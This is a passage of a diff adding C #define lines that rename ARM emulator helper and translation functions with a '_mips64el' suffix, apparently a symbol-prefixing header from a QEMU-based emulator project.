gen_helper_qadd16 gen_helper_qadd16_mips64el +#define gen_helper_qadd8 gen_helper_qadd8_mips64el +#define gen_helper_qaddsubx gen_helper_qaddsubx_mips64el +#define gen_helper_qsub16 gen_helper_qsub16_mips64el +#define gen_helper_qsub8 gen_helper_qsub8_mips64el +#define gen_helper_qsubaddx gen_helper_qsubaddx_mips64el +#define gen_helper_rbit gen_helper_rbit_mips64el +#define gen_helper_recpe_f32 gen_helper_recpe_f32_mips64el +#define gen_helper_recpe_u32 gen_helper_recpe_u32_mips64el +#define gen_helper_recps_f32 gen_helper_recps_f32_mips64el +#define gen_helper_rintd gen_helper_rintd_mips64el +#define gen_helper_rintd_exact gen_helper_rintd_exact_mips64el +#define gen_helper_rints gen_helper_rints_mips64el +#define gen_helper_rints_exact gen_helper_rints_exact_mips64el +#define gen_helper_ror_cc gen_helper_ror_cc_mips64el +#define gen_helper_rsqrte_f32 gen_helper_rsqrte_f32_mips64el +#define gen_helper_rsqrte_u32 gen_helper_rsqrte_u32_mips64el +#define gen_helper_rsqrts_f32 gen_helper_rsqrts_f32_mips64el +#define gen_helper_sadd16 gen_helper_sadd16_mips64el +#define gen_helper_sadd8 gen_helper_sadd8_mips64el +#define gen_helper_saddsubx gen_helper_saddsubx_mips64el +#define gen_helper_sar_cc gen_helper_sar_cc_mips64el +#define gen_helper_sdiv gen_helper_sdiv_mips64el +#define gen_helper_sel_flags gen_helper_sel_flags_mips64el +#define gen_helper_set_cp_reg gen_helper_set_cp_reg_mips64el +#define gen_helper_set_cp_reg64 gen_helper_set_cp_reg64_mips64el +#define gen_helper_set_neon_rmode gen_helper_set_neon_rmode_mips64el +#define gen_helper_set_r13_banked gen_helper_set_r13_banked_mips64el +#define gen_helper_set_rmode gen_helper_set_rmode_mips64el +#define gen_helper_set_user_reg gen_helper_set_user_reg_mips64el +#define gen_helper_shadd16 gen_helper_shadd16_mips64el +#define gen_helper_shadd8 gen_helper_shadd8_mips64el +#define gen_helper_shaddsubx gen_helper_shaddsubx_mips64el +#define gen_helper_shl_cc gen_helper_shl_cc_mips64el +#define gen_helper_shr_cc gen_helper_shr_cc_mips64el +#define gen_helper_shsub16 gen_helper_shsub16_mips64el +#define gen_helper_shsub8 gen_helper_shsub8_mips64el +#define gen_helper_shsubaddx gen_helper_shsubaddx_mips64el +#define gen_helper_ssat gen_helper_ssat_mips64el +#define gen_helper_ssat16 gen_helper_ssat16_mips64el +#define gen_helper_ssub16 gen_helper_ssub16_mips64el +#define gen_helper_ssub8 gen_helper_ssub8_mips64el +#define gen_helper_ssubaddx gen_helper_ssubaddx_mips64el +#define gen_helper_sub_saturate gen_helper_sub_saturate_mips64el +#define gen_helper_sxtb16 gen_helper_sxtb16_mips64el +#define gen_helper_uadd16 gen_helper_uadd16_mips64el +#define gen_helper_uadd8 gen_helper_uadd8_mips64el +#define gen_helper_uaddsubx gen_helper_uaddsubx_mips64el +#define gen_helper_udiv gen_helper_udiv_mips64el +#define gen_helper_uhadd16 gen_helper_uhadd16_mips64el +#define gen_helper_uhadd8 gen_helper_uhadd8_mips64el +#define gen_helper_uhaddsubx gen_helper_uhaddsubx_mips64el +#define gen_helper_uhsub16 gen_helper_uhsub16_mips64el +#define gen_helper_uhsub8 gen_helper_uhsub8_mips64el +#define gen_helper_uhsubaddx gen_helper_uhsubaddx_mips64el +#define gen_helper_uqadd16 gen_helper_uqadd16_mips64el +#define gen_helper_uqadd8 gen_helper_uqadd8_mips64el +#define gen_helper_uqaddsubx gen_helper_uqaddsubx_mips64el +#define gen_helper_uqsub16 gen_helper_uqsub16_mips64el +#define gen_helper_uqsub8 gen_helper_uqsub8_mips64el +#define gen_helper_uqsubaddx gen_helper_uqsubaddx_mips64el +#define gen_helper_usad8 gen_helper_usad8_mips64el +#define gen_helper_usat gen_helper_usat_mips64el +#define gen_helper_usat16 gen_helper_usat16_mips64el +#define gen_helper_usub16 gen_helper_usub16_mips64el +#define gen_helper_usub8 gen_helper_usub8_mips64el +#define gen_helper_usubaddx gen_helper_usubaddx_mips64el +#define gen_helper_uxtb16 gen_helper_uxtb16_mips64el +#define gen_helper_v7m_mrs gen_helper_v7m_mrs_mips64el +#define gen_helper_v7m_msr gen_helper_v7m_msr_mips64el +#define gen_helper_vfp_absd gen_helper_vfp_absd_mips64el +#define gen_helper_vfp_abss gen_helper_vfp_abss_mips64el +#define gen_helper_vfp_addd gen_helper_vfp_addd_mips64el +#define gen_helper_vfp_adds gen_helper_vfp_adds_mips64el +#define gen_helper_vfp_cmpd gen_helper_vfp_cmpd_mips64el +#define gen_helper_vfp_cmped gen_helper_vfp_cmped_mips64el +#define gen_helper_vfp_cmpes gen_helper_vfp_cmpes_mips64el +#define gen_helper_vfp_cmps gen_helper_vfp_cmps_mips64el +#define gen_helper_vfp_divd gen_helper_vfp_divd_mips64el +#define gen_helper_vfp_divs gen_helper_vfp_divs_mips64el +#define gen_helper_vfp_fcvtds gen_helper_vfp_fcvtds_mips64el +#define gen_helper_vfp_fcvt_f16_to_f32 gen_helper_vfp_fcvt_f16_to_f32_mips64el +#define gen_helper_vfp_fcvt_f16_to_f64 gen_helper_vfp_fcvt_f16_to_f64_mips64el +#define gen_helper_vfp_fcvt_f32_to_f16 gen_helper_vfp_fcvt_f32_to_f16_mips64el +#define gen_helper_vfp_fcvt_f64_to_f16 gen_helper_vfp_fcvt_f64_to_f16_mips64el +#define gen_helper_vfp_fcvtsd gen_helper_vfp_fcvtsd_mips64el +#define gen_helper_vfp_get_fpscr gen_helper_vfp_get_fpscr_mips64el +#define gen_helper_vfp_maxnumd gen_helper_vfp_maxnumd_mips64el +#define gen_helper_vfp_maxnums gen_helper_vfp_maxnums_mips64el +#define gen_helper_vfp_maxs gen_helper_vfp_maxs_mips64el +#define gen_helper_vfp_minnumd gen_helper_vfp_minnumd_mips64el +#define gen_helper_vfp_minnums gen_helper_vfp_minnums_mips64el +#define gen_helper_vfp_mins gen_helper_vfp_mins_mips64el +#define gen_helper_vfp_muladdd gen_helper_vfp_muladdd_mips64el +#define gen_helper_vfp_muladds gen_helper_vfp_muladds_mips64el +#define gen_helper_vfp_muld gen_helper_vfp_muld_mips64el +#define gen_helper_vfp_muls gen_helper_vfp_muls_mips64el +#define gen_helper_vfp_negd gen_helper_vfp_negd_mips64el +#define gen_helper_vfp_negs gen_helper_vfp_negs_mips64el +#define gen_helper_vfp_set_fpscr gen_helper_vfp_set_fpscr_mips64el +#define gen_helper_vfp_shtod gen_helper_vfp_shtod_mips64el +#define gen_helper_vfp_shtos gen_helper_vfp_shtos_mips64el +#define gen_helper_vfp_sitod gen_helper_vfp_sitod_mips64el +#define gen_helper_vfp_sitos gen_helper_vfp_sitos_mips64el +#define gen_helper_vfp_sltod gen_helper_vfp_sltod_mips64el +#define gen_helper_vfp_sltos gen_helper_vfp_sltos_mips64el +#define gen_helper_vfp_sqrtd gen_helper_vfp_sqrtd_mips64el +#define gen_helper_vfp_sqrts gen_helper_vfp_sqrts_mips64el +#define gen_helper_vfp_subd gen_helper_vfp_subd_mips64el +#define gen_helper_vfp_subs gen_helper_vfp_subs_mips64el +#define gen_helper_vfp_toshd_round_to_zero gen_helper_vfp_toshd_round_to_zero_mips64el +#define gen_helper_vfp_toshs_round_to_zero gen_helper_vfp_toshs_round_to_zero_mips64el +#define gen_helper_vfp_tosid gen_helper_vfp_tosid_mips64el +#define gen_helper_vfp_tosis gen_helper_vfp_tosis_mips64el +#define gen_helper_vfp_tosizd gen_helper_vfp_tosizd_mips64el +#define gen_helper_vfp_tosizs gen_helper_vfp_tosizs_mips64el +#define gen_helper_vfp_tosld gen_helper_vfp_tosld_mips64el +#define gen_helper_vfp_tosld_round_to_zero gen_helper_vfp_tosld_round_to_zero_mips64el +#define gen_helper_vfp_tosls gen_helper_vfp_tosls_mips64el +#define gen_helper_vfp_tosls_round_to_zero gen_helper_vfp_tosls_round_to_zero_mips64el +#define gen_helper_vfp_touhd_round_to_zero gen_helper_vfp_touhd_round_to_zero_mips64el +#define gen_helper_vfp_touhs_round_to_zero gen_helper_vfp_touhs_round_to_zero_mips64el +#define gen_helper_vfp_touid gen_helper_vfp_touid_mips64el +#define gen_helper_vfp_touis gen_helper_vfp_touis_mips64el +#define gen_helper_vfp_touizd gen_helper_vfp_touizd_mips64el +#define gen_helper_vfp_touizs gen_helper_vfp_touizs_mips64el +#define gen_helper_vfp_tould gen_helper_vfp_tould_mips64el +#define gen_helper_vfp_tould_round_to_zero gen_helper_vfp_tould_round_to_zero_mips64el +#define gen_helper_vfp_touls gen_helper_vfp_touls_mips64el +#define gen_helper_vfp_touls_round_to_zero gen_helper_vfp_touls_round_to_zero_mips64el +#define gen_helper_vfp_uhtod gen_helper_vfp_uhtod_mips64el +#define gen_helper_vfp_uhtos gen_helper_vfp_uhtos_mips64el +#define gen_helper_vfp_uitod gen_helper_vfp_uitod_mips64el +#define gen_helper_vfp_uitos gen_helper_vfp_uitos_mips64el +#define gen_helper_vfp_ultod gen_helper_vfp_ultod_mips64el +#define gen_helper_vfp_ultos gen_helper_vfp_ultos_mips64el +#define gen_helper_wfe gen_helper_wfe_mips64el +#define gen_helper_wfi gen_helper_wfi_mips64el +#define gen_hvc gen_hvc_mips64el +#define gen_intermediate_code_internal gen_intermediate_code_internal_mips64el +#define gen_intermediate_code_internal_a64 gen_intermediate_code_internal_a64_mips64el +#define gen_iwmmxt_address gen_iwmmxt_address_mips64el +#define gen_iwmmxt_shift gen_iwmmxt_shift_mips64el +#define gen_jmp gen_jmp_mips64el +#define gen_load_and_replicate gen_load_and_replicate_mips64el +#define gen_load_exclusive gen_load_exclusive_mips64el +#define gen_logic_CC gen_logic_CC_mips64el +#define gen_logicq_cc gen_logicq_cc_mips64el +#define gen_lookup_tb gen_lookup_tb_mips64el +#define gen_mov_F0_vreg gen_mov_F0_vreg_mips64el +#define gen_mov_F1_vreg gen_mov_F1_vreg_mips64el +#define gen_mov_vreg_F0 gen_mov_vreg_F0_mips64el +#define gen_muls_i64_i32 gen_muls_i64_i32_mips64el +#define gen_mulu_i64_i32 gen_mulu_i64_i32_mips64el +#define gen_mulxy gen_mulxy_mips64el +#define gen_neon_add gen_neon_add_mips64el +#define gen_neon_addl gen_neon_addl_mips64el +#define gen_neon_addl_saturate gen_neon_addl_saturate_mips64el +#define gen_neon_bsl gen_neon_bsl_mips64el +#define gen_neon_dup_high16 gen_neon_dup_high16_mips64el +#define gen_neon_dup_low16 gen_neon_dup_low16_mips64el +#define gen_neon_dup_u8 gen_neon_dup_u8_mips64el +#define gen_neon_mull gen_neon_mull_mips64el +#define gen_neon_narrow gen_neon_narrow_mips64el +#define gen_neon_narrow_op gen_neon_narrow_op_mips64el +#define gen_neon_narrow_sats gen_neon_narrow_sats_mips64el +#define gen_neon_narrow_satu gen_neon_narrow_satu_mips64el +#define gen_neon_negl gen_neon_negl_mips64el +#define gen_neon_rsb gen_neon_rsb_mips64el +#define gen_neon_shift_narrow gen_neon_shift_narrow_mips64el +#define gen_neon_subl gen_neon_subl_mips64el +#define gen_neon_trn_u16 gen_neon_trn_u16_mips64el +#define gen_neon_trn_u8 gen_neon_trn_u8_mips64el +#define gen_neon_unarrow_sats gen_neon_unarrow_sats_mips64el +#define gen_neon_unzip gen_neon_unzip_mips64el +#define gen_neon_widen gen_neon_widen_mips64el +#define gen_neon_zip gen_neon_zip_mips64el +#define gen_new_label gen_new_label_mips64el +#define gen_nop_hint gen_nop_hint_mips64el +#define gen_op_iwmmxt_addl_M0_wRn gen_op_iwmmxt_addl_M0_wRn_mips64el +#define gen_op_iwmmxt_addnb_M0_wRn gen_op_iwmmxt_addnb_M0_wRn_mips64el +#define gen_op_iwmmxt_addnl_M0_wRn gen_op_iwmmxt_addnl_M0_wRn_mips64el +#define gen_op_iwmmxt_addnw_M0_wRn gen_op_iwmmxt_addnw_M0_wRn_mips64el +#define gen_op_iwmmxt_addsb_M0_wRn gen_op_iwmmxt_addsb_M0_wRn_mips64el +#define gen_op_iwmmxt_addsl_M0_wRn gen_op_iwmmxt_addsl_M0_wRn_mips64el +#define gen_op_iwmmxt_addsw_M0_wRn gen_op_iwmmxt_addsw_M0_wRn_mips64el +#define gen_op_iwmmxt_addub_M0_wRn gen_op_iwmmxt_addub_M0_wRn_mips64el +#define gen_op_iwmmxt_addul_M0_wRn gen_op_iwmmxt_addul_M0_wRn_mips64el +#define gen_op_iwmmxt_adduw_M0_wRn gen_op_iwmmxt_adduw_M0_wRn_mips64el +#define gen_op_iwmmxt_andq_M0_wRn gen_op_iwmmxt_andq_M0_wRn_mips64el +#define gen_op_iwmmxt_avgb0_M0_wRn gen_op_iwmmxt_avgb0_M0_wRn_mips64el +#define gen_op_iwmmxt_avgb1_M0_wRn gen_op_iwmmxt_avgb1_M0_wRn_mips64el +#define gen_op_iwmmxt_avgw0_M0_wRn gen_op_iwmmxt_avgw0_M0_wRn_mips64el +#define gen_op_iwmmxt_avgw1_M0_wRn gen_op_iwmmxt_avgw1_M0_wRn_mips64el +#define gen_op_iwmmxt_cmpeqb_M0_wRn gen_op_iwmmxt_cmpeqb_M0_wRn_mips64el +#define gen_op_iwmmxt_cmpeql_M0_wRn gen_op_iwmmxt_cmpeql_M0_wRn_mips64el +#define gen_op_iwmmxt_cmpeqw_M0_wRn gen_op_iwmmxt_cmpeqw_M0_wRn_mips64el +#define gen_op_iwmmxt_cmpgtsb_M0_wRn gen_op_iwmmxt_cmpgtsb_M0_wRn_mips64el +#define gen_op_iwmmxt_cmpgtsl_M0_wRn gen_op_iwmmxt_cmpgtsl_M0_wRn_mips64el +#define gen_op_iwmmxt_cmpgtsw_M0_wRn gen_op_iwmmxt_cmpgtsw_M0_wRn_mips64el +#define gen_op_iwmmxt_cmpgtub_M0_wRn gen_op_iwmmxt_cmpgtub_M0_wRn_mips64el +#define gen_op_iwmmxt_cmpgtul_M0_wRn gen_op_iwmmxt_cmpgtul_M0_wRn_mips64el +#define gen_op_iwmmxt_cmpgtuw_M0_wRn gen_op_iwmmxt_cmpgtuw_M0_wRn_mips64el +#define gen_op_iwmmxt_macsw_M0_wRn gen_op_iwmmxt_macsw_M0_wRn_mips64el +#define gen_op_iwmmxt_macuw_M0_wRn gen_op_iwmmxt_macuw_M0_wRn_mips64el +#define gen_op_iwmmxt_maddsq_M0_wRn gen_op_iwmmxt_maddsq_M0_wRn_mips64el +#define gen_op_iwmmxt_madduq_M0_wRn gen_op_iwmmxt_madduq_M0_wRn_mips64el +#define gen_op_iwmmxt_maxsb_M0_wRn gen_op_iwmmxt_maxsb_M0_wRn_mips64el +#define gen_op_iwmmxt_maxsl_M0_wRn gen_op_iwmmxt_maxsl_M0_wRn_mips64el +#define gen_op_iwmmxt_maxsw_M0_wRn gen_op_iwmmxt_maxsw_M0_wRn_mips64el +#define gen_op_iwmmxt_maxub_M0_wRn gen_op_iwmmxt_maxub_M0_wRn_mips64el +#define gen_op_iwmmxt_maxul_M0_wRn gen_op_iwmmxt_maxul_M0_wRn_mips64el +#define gen_op_iwmmxt_maxuw_M0_wRn gen_op_iwmmxt_maxuw_M0_wRn_mips64el +#define gen_op_iwmmxt_minsb_M0_wRn gen_op_iwmmxt_minsb_M0_wRn_mips64el +#define gen_op_iwmmxt_minsl_M0_wRn gen_op_iwmmxt_minsl_M0_wRn_mips64el +#define gen_op_iwmmxt_minsw_M0_wRn gen_op_iwmmxt_minsw_M0_wRn_mips64el +#define gen_op_iwmmxt_minub_M0_wRn gen_op_iwmmxt_minub_M0_wRn_mips64el +#define gen_op_iwmmxt_minul_M0_wRn gen_op_iwmmxt_minul_M0_wRn_mips64el +#define gen_op_iwmmxt_minuw_M0_wRn gen_op_iwmmxt_minuw_M0_wRn_mips64el +#define gen_op_iwmmxt_movq_M0_wRn gen_op_iwmmxt_movq_M0_wRn_mips64el +#define gen_op_iwmmxt_movq_wRn_M0 gen_op_iwmmxt_movq_wRn_M0_mips64el +#define gen_op_iwmmxt_mulshw_M0_wRn gen_op_iwmmxt_mulshw_M0_wRn_mips64el +#define gen_op_iwmmxt_mulslw_M0_wRn gen_op_iwmmxt_mulslw_M0_wRn_mips64el +#define gen_op_iwmmxt_muluhw_M0_wRn gen_op_iwmmxt_muluhw_M0_wRn_mips64el +#define gen_op_iwmmxt_mululw_M0_wRn gen_op_iwmmxt_mululw_M0_wRn_mips64el +#define gen_op_iwmmxt_orq_M0_wRn gen_op_iwmmxt_orq_M0_wRn_mips64el +#define gen_op_iwmmxt_packsl_M0_wRn gen_op_iwmmxt_packsl_M0_wRn_mips64el +#define gen_op_iwmmxt_packsq_M0_wRn gen_op_iwmmxt_packsq_M0_wRn_mips64el +#define gen_op_iwmmxt_packsw_M0_wRn gen_op_iwmmxt_packsw_M0_wRn_mips64el +#define gen_op_iwmmxt_packul_M0_wRn gen_op_iwmmxt_packul_M0_wRn_mips64el +#define gen_op_iwmmxt_packuq_M0_wRn gen_op_iwmmxt_packuq_M0_wRn_mips64el +#define gen_op_iwmmxt_packuw_M0_wRn gen_op_iwmmxt_packuw_M0_wRn_mips64el +#define gen_op_iwmmxt_sadb_M0_wRn gen_op_iwmmxt_sadb_M0_wRn_mips64el +#define gen_op_iwmmxt_sadw_M0_wRn gen_op_iwmmxt_sadw_M0_wRn_mips64el +#define gen_op_iwmmxt_set_cup gen_op_iwmmxt_set_cup_mips64el +#define gen_op_iwmmxt_set_mup gen_op_iwmmxt_set_mup_mips64el +#define gen_op_iwmmxt_setpsr_nz gen_op_iwmmxt_setpsr_nz_mips64el +#define gen_op_iwmmxt_subnb_M0_wRn gen_op_iwmmxt_subnb_M0_wRn_mips64el +#define gen_op_iwmmxt_subnl_M0_wRn gen_op_iwmmxt_subnl_M0_wRn_mips64el +#define gen_op_iwmmxt_subnw_M0_wRn gen_op_iwmmxt_subnw_M0_wRn_mips64el +#define gen_op_iwmmxt_subsb_M0_wRn gen_op_iwmmxt_subsb_M0_wRn_mips64el +#define gen_op_iwmmxt_subsl_M0_wRn gen_op_iwmmxt_subsl_M0_wRn_mips64el +#define gen_op_iwmmxt_subsw_M0_wRn gen_op_iwmmxt_subsw_M0_wRn_mips64el +#define gen_op_iwmmxt_subub_M0_wRn gen_op_iwmmxt_subub_M0_wRn_mips64el +#define gen_op_iwmmxt_subul_M0_wRn gen_op_iwmmxt_subul_M0_wRn_mips64el +#define gen_op_iwmmxt_subuw_M0_wRn gen_op_iwmmxt_subuw_M0_wRn_mips64el +#define gen_op_iwmmxt_unpackhb_M0_wRn gen_op_iwmmxt_unpackhb_M0_wRn_mips64el +#define gen_op_iwmmxt_unpackhl_M0_wRn gen_op_iwmmxt_unpackhl_M0_wRn_mips64el +#define gen_op_iwmmxt_unpackhsb_M0 gen_op_iwmmxt_unpackhsb_M0_mips64el +#define gen_op_iwmmxt_unpackhsl_M0 gen_op_iwmmxt_unpackhsl_M0_mips64el +#define gen_op_iwmmxt_unpackhsw_M0 gen_op_iwmmxt_unpackhsw_M0_mips64el +#define gen_op_iwmmxt_unpackhub_M0 gen_op_iwmmxt_unpackhub_M0_mips64el +#define gen_op_iwmmxt_unpackhul_M0 gen_op_iwmmxt_unpackhul_M0_mips64el +#define gen_op_iwmmxt_unpackhuw_M0 gen_op_iwmmxt_unpackhuw_M0_mips64el +#define gen_op_iwmmxt_unpackhw_M0_wRn gen_op_iwmmxt_unpackhw_M0_wRn_mips64el +#define gen_op_iwmmxt_unpacklb_M0_wRn gen_op_iwmmxt_unpacklb_M0_wRn_mips64el +#define gen_op_iwmmxt_unpackll_M0_wRn gen_op_iwmmxt_unpackll_M0_wRn_mips64el +#define gen_op_iwmmxt_unpacklsb_M0 gen_op_iwmmxt_unpacklsb_M0_mips64el +#define gen_op_iwmmxt_unpacklsl_M0 gen_op_iwmmxt_unpacklsl_M0_mips64el +#define gen_op_iwmmxt_unpacklsw_M0 gen_op_iwmmxt_unpacklsw_M0_mips64el +#define gen_op_iwmmxt_unpacklub_M0 gen_op_iwmmxt_unpacklub_M0_mips64el +#define gen_op_iwmmxt_unpacklul_M0 gen_op_iwmmxt_unpacklul_M0_mips64el +#define gen_op_iwmmxt_unpackluw_M0 gen_op_iwmmxt_unpackluw_M0_mips64el +#define gen_op_iwmmxt_unpacklw_M0_wRn gen_op_iwmmxt_unpacklw_M0_wRn_mips64el +#define gen_op_iwmmxt_xorq_M0_wRn gen_op_iwmmxt_xorq_M0_wRn_mips64el +#define gen_rev16 gen_rev16_mips64el +#define gen_revsh gen_revsh_mips64el +#define gen_rfe gen_rfe_mips64el +#define gen_sar gen_sar_mips64el +#define gen_sbc_CC gen_sbc_CC_mips64el +#define gen_sbfx gen_sbfx_mips64el +#define gen_set_CF_bit31 gen_set_CF_bit31_mips64el +#define gen_set_condexec gen_set_condexec_mips64el +#define gen_set_cpsr gen_set_cpsr_mips64el +#define gen_set_label gen_set_label_mips64el +#define gen_set_pc_im gen_set_pc_im_mips64el +#define gen_set_psr gen_set_psr_mips64el +#define gen_set_psr_im gen_set_psr_im_mips64el +#define gen_shl gen_shl_mips64el +#define gen_shr gen_shr_mips64el +#define gen_smc gen_smc_mips64el +#define gen_smul_dual gen_smul_dual_mips64el +#define gen_srs gen_srs_mips64el +#define gen_ss_advance gen_ss_advance_mips64el +#define gen_step_complete_exception gen_step_complete_exception_mips64el +#define gen_store_exclusive gen_store_exclusive_mips64el +#define gen_storeq_reg gen_storeq_reg_mips64el +#define gen_sub_carry gen_sub_carry_mips64el +#define gen_sub_CC gen_sub_CC_mips64el +#define gen_subq_msw gen_subq_msw_mips64el +#define gen_swap_half gen_swap_half_mips64el +#define gen_thumb2_data_op gen_thumb2_data_op_mips64el +#define gen_thumb2_parallel_addsub gen_thumb2_parallel_addsub_mips64el +#define gen_ubfx gen_ubfx_mips64el +#define gen_vfp_abs gen_vfp_abs_mips64el +#define gen_vfp_add gen_vfp_add_mips64el +#define gen_vfp_cmp gen_vfp_cmp_mips64el +#define gen_vfp_cmpe gen_vfp_cmpe_mips64el +#define gen_vfp_div gen_vfp_div_mips64el +#define gen_vfp_F1_ld0 gen_vfp_F1_ld0_mips64el +#define gen_vfp_F1_mul gen_vfp_F1_mul_mips64el +#define gen_vfp_F1_neg gen_vfp_F1_neg_mips64el +#define gen_vfp_ld gen_vfp_ld_mips64el +#define gen_vfp_mrs gen_vfp_mrs_mips64el +#define gen_vfp_msr gen_vfp_msr_mips64el +#define gen_vfp_mul gen_vfp_mul_mips64el +#define gen_vfp_neg gen_vfp_neg_mips64el +#define gen_vfp_shto gen_vfp_shto_mips64el +#define gen_vfp_sito gen_vfp_sito_mips64el +#define gen_vfp_slto gen_vfp_slto_mips64el +#define gen_vfp_sqrt gen_vfp_sqrt_mips64el +#define gen_vfp_st gen_vfp_st_mips64el +#define gen_vfp_sub gen_vfp_sub_mips64el +#define gen_vfp_tosh gen_vfp_tosh_mips64el +#define gen_vfp_tosi gen_vfp_tosi_mips64el +#define gen_vfp_tosiz gen_vfp_tosiz_mips64el +#define gen_vfp_tosl gen_vfp_tosl_mips64el +#define gen_vfp_touh gen_vfp_touh_mips64el +#define gen_vfp_toui gen_vfp_toui_mips64el +#define gen_vfp_touiz gen_vfp_touiz_mips64el +#define gen_vfp_toul gen_vfp_toul_mips64el +#define gen_vfp_uhto gen_vfp_uhto_mips64el +#define gen_vfp_uito gen_vfp_uito_mips64el +#define gen_vfp_ulto gen_vfp_ulto_mips64el +#define get_arm_cp_reginfo get_arm_cp_reginfo_mips64el +#define get_clock get_clock_mips64el +#define get_clock_realtime get_clock_realtime_mips64el +#define get_constraint_priority get_constraint_priority_mips64el +#define get_float_exception_flags get_float_exception_flags_mips64el +#define get_float_rounding_mode get_float_rounding_mode_mips64el +#define get_fpstatus_ptr get_fpstatus_ptr_mips64el +#define get_level1_table_address get_level1_table_address_mips64el +#define get_mem_index get_mem_index_mips64el +#define get_next_param_value get_next_param_value_mips64el +#define get_opt_name get_opt_name_mips64el +#define get_opt_value get_opt_value_mips64el +#define get_page_addr_code get_page_addr_code_mips64el +#define get_param_value get_param_value_mips64el +#define get_phys_addr get_phys_addr_mips64el +#define get_phys_addr_lpae get_phys_addr_lpae_mips64el +#define get_phys_addr_mpu get_phys_addr_mpu_mips64el +#define get_phys_addr_v5 get_phys_addr_v5_mips64el +#define get_phys_addr_v6 get_phys_addr_v6_mips64el +#define get_system_memory get_system_memory_mips64el +#define get_ticks_per_sec get_ticks_per_sec_mips64el +#define g_list_insert_sorted_merged g_list_insert_sorted_merged_mips64el +#define _GLOBAL_OFFSET_TABLE_ _GLOBAL_OFFSET_TABLE__mips64el +#define gt_cntfrq_access gt_cntfrq_access_mips64el +#define gt_cnt_read gt_cnt_read_mips64el +#define gt_cnt_reset gt_cnt_reset_mips64el +#define gt_counter_access gt_counter_access_mips64el +#define gt_ctl_write gt_ctl_write_mips64el +#define gt_cval_write gt_cval_write_mips64el +#define gt_get_countervalue gt_get_countervalue_mips64el +#define gt_pct_access gt_pct_access_mips64el +#define gt_ptimer_access gt_ptimer_access_mips64el +#define gt_recalc_timer gt_recalc_timer_mips64el +#define gt_timer_access gt_timer_access_mips64el +#define gt_tval_read gt_tval_read_mips64el +#define gt_tval_write gt_tval_write_mips64el +#define gt_vct_access gt_vct_access_mips64el +#define gt_vtimer_access gt_vtimer_access_mips64el +#define guest_phys_blocks_free guest_phys_blocks_free_mips64el +#define guest_phys_blocks_init guest_phys_blocks_init_mips64el +#define handle_vcvt handle_vcvt_mips64el +#define handle_vminmaxnm handle_vminmaxnm_mips64el +#define handle_vrint handle_vrint_mips64el +#define handle_vsel handle_vsel_mips64el +#define has_help_option has_help_option_mips64el +#define have_bmi1 have_bmi1_mips64el +#define have_bmi2 have_bmi2_mips64el +#define hcr_write hcr_write_mips64el +#define helper_access_check_cp_reg helper_access_check_cp_reg_mips64el +#define helper_add_saturate helper_add_saturate_mips64el +#define helper_add_setq helper_add_setq_mips64el +#define helper_add_usaturate helper_add_usaturate_mips64el +#define helper_be_ldl_cmmu helper_be_ldl_cmmu_mips64el +#define helper_be_ldq_cmmu helper_be_ldq_cmmu_mips64el +#define helper_be_ldq_mmu helper_be_ldq_mmu_mips64el +#define helper_be_ldsl_mmu helper_be_ldsl_mmu_mips64el +#define helper_be_ldsw_mmu helper_be_ldsw_mmu_mips64el +#define helper_be_ldul_mmu helper_be_ldul_mmu_mips64el +#define helper_be_lduw_mmu helper_be_lduw_mmu_mips64el +#define helper_be_ldw_cmmu helper_be_ldw_cmmu_mips64el +#define helper_be_stl_mmu helper_be_stl_mmu_mips64el +#define helper_be_stq_mmu helper_be_stq_mmu_mips64el +#define helper_be_stw_mmu helper_be_stw_mmu_mips64el +#define helper_clear_pstate_ss helper_clear_pstate_ss_mips64el +#define helper_clz_arm helper_clz_arm_mips64el +#define helper_cpsr_read helper_cpsr_read_mips64el +#define helper_cpsr_write helper_cpsr_write_mips64el +#define helper_crc32_arm helper_crc32_arm_mips64el +#define helper_crc32c helper_crc32c_mips64el +#define helper_crypto_aese helper_crypto_aese_mips64el +#define helper_crypto_aesmc helper_crypto_aesmc_mips64el +#define helper_crypto_sha1_3reg helper_crypto_sha1_3reg_mips64el +#define helper_crypto_sha1h helper_crypto_sha1h_mips64el +#define helper_crypto_sha1su1 helper_crypto_sha1su1_mips64el +#define helper_crypto_sha256h helper_crypto_sha256h_mips64el +#define helper_crypto_sha256h2 helper_crypto_sha256h2_mips64el +#define helper_crypto_sha256su0 helper_crypto_sha256su0_mips64el +#define helper_crypto_sha256su1 helper_crypto_sha256su1_mips64el +#define helper_dc_zva helper_dc_zva_mips64el +#define helper_double_saturate helper_double_saturate_mips64el +#define helper_exception_internal helper_exception_internal_mips64el +#define helper_exception_return helper_exception_return_mips64el +#define helper_exception_with_syndrome helper_exception_with_syndrome_mips64el +#define helper_get_cp_reg helper_get_cp_reg_mips64el +#define helper_get_cp_reg64 helper_get_cp_reg64_mips64el +#define helper_get_r13_banked helper_get_r13_banked_mips64el +#define helper_get_user_reg helper_get_user_reg_mips64el +#define helper_iwmmxt_addcb helper_iwmmxt_addcb_mips64el +#define helper_iwmmxt_addcl helper_iwmmxt_addcl_mips64el +#define helper_iwmmxt_addcw helper_iwmmxt_addcw_mips64el +#define helper_iwmmxt_addnb helper_iwmmxt_addnb_mips64el +#define helper_iwmmxt_addnl helper_iwmmxt_addnl_mips64el +#define helper_iwmmxt_addnw helper_iwmmxt_addnw_mips64el +#define helper_iwmmxt_addsb helper_iwmmxt_addsb_mips64el +#define helper_iwmmxt_addsl helper_iwmmxt_addsl_mips64el +#define helper_iwmmxt_addsw helper_iwmmxt_addsw_mips64el +#define helper_iwmmxt_addub helper_iwmmxt_addub_mips64el +#define helper_iwmmxt_addul helper_iwmmxt_addul_mips64el +#define helper_iwmmxt_adduw helper_iwmmxt_adduw_mips64el +#define helper_iwmmxt_align helper_iwmmxt_align_mips64el +#define helper_iwmmxt_avgb0 helper_iwmmxt_avgb0_mips64el +#define helper_iwmmxt_avgb1 helper_iwmmxt_avgb1_mips64el +#define helper_iwmmxt_avgw0 helper_iwmmxt_avgw0_mips64el +#define helper_iwmmxt_avgw1 helper_iwmmxt_avgw1_mips64el +#define helper_iwmmxt_bcstb helper_iwmmxt_bcstb_mips64el +#define helper_iwmmxt_bcstl helper_iwmmxt_bcstl_mips64el +#define helper_iwmmxt_bcstw helper_iwmmxt_bcstw_mips64el +#define helper_iwmmxt_cmpeqb helper_iwmmxt_cmpeqb_mips64el +#define helper_iwmmxt_cmpeql helper_iwmmxt_cmpeql_mips64el +#define helper_iwmmxt_cmpeqw helper_iwmmxt_cmpeqw_mips64el +#define helper_iwmmxt_cmpgtsb helper_iwmmxt_cmpgtsb_mips64el +#define helper_iwmmxt_cmpgtsl 